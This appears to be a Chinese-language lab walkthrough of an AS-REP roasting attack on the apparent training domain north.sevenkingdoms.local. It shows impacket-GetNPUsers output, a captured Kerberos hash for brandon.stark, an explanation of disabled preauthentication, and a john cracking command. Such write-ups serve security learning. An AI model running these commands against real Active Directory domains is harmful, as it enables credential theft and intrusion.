┌──(root㉿kali)-[/home/kali] └─# impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [-] Usersql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userjeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usersamwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userjon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userhodor doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userrickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:6daf263d2747c443159fa1af3c7ac95f$6b5e68191fe2b4014f2c2d584c3d58c583aacdb276e3b6151dbf674205901e7ef9e18b65033b7bbae1f03d292c649dd8a25 7c7355341bd4b2de4a5738227bd642ea5027c3fbe8db1e4af699db6a62b4ef02cd61033be90166a26ba75036912360e6e988fdf662deba142a7ddde16be600e206b92564569cbaa74fb8032ab967d1f05d61bfd915313f08a06b2f3f73 ff56d25ab12b66edeb8fb1d50293cc993e5553114cacdb0b17cf8fba84aa58e2281a49dd26db865c9154904afeb88d1e5065d843d0c0695768be500236edc2bcd6725feea9f193520b138795cfea21678bb727c7d7fd08e2209d4678ca d5387e70eeee58845c3d3d171df65a6573f112091318feb7c928b [-] Usersansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userrobb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usercatelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usereddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userarya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] UserAdministrator doesn't have UF_DONT_REQUIRE_PREAUTH set
我们获得了brandon.stark 的凭据,该域用户账户(brandon.stark)在 Active Directory 中被管理员配置了 DONT_REQ_PREAUTH 这个特殊的账户属性标志,所以不需要 Kerberos 预身份验证
正常情况
当用户登录时:
客户端向域控制器发送 TGT 请求
域控制器回复:“请先证明你知道密码”(要求预认证)
客户端用密码加密时间戳并发送
域控制器验证成功后才返回 TGT
预身份验证关闭
当用户设置了 DONT_REQ_PREAUTH 标志时:
客户端向域控制器发送 TGT 请求
域控制器直接返回用用户密码加密的 TGT,不要求证明密码
任何人只要知道用户名就能获取这个加密的 TGT
尝试破解它
1
john --wordlist=/usr/share/wordlists/rockyou.txt asrephash --format=krb5asrep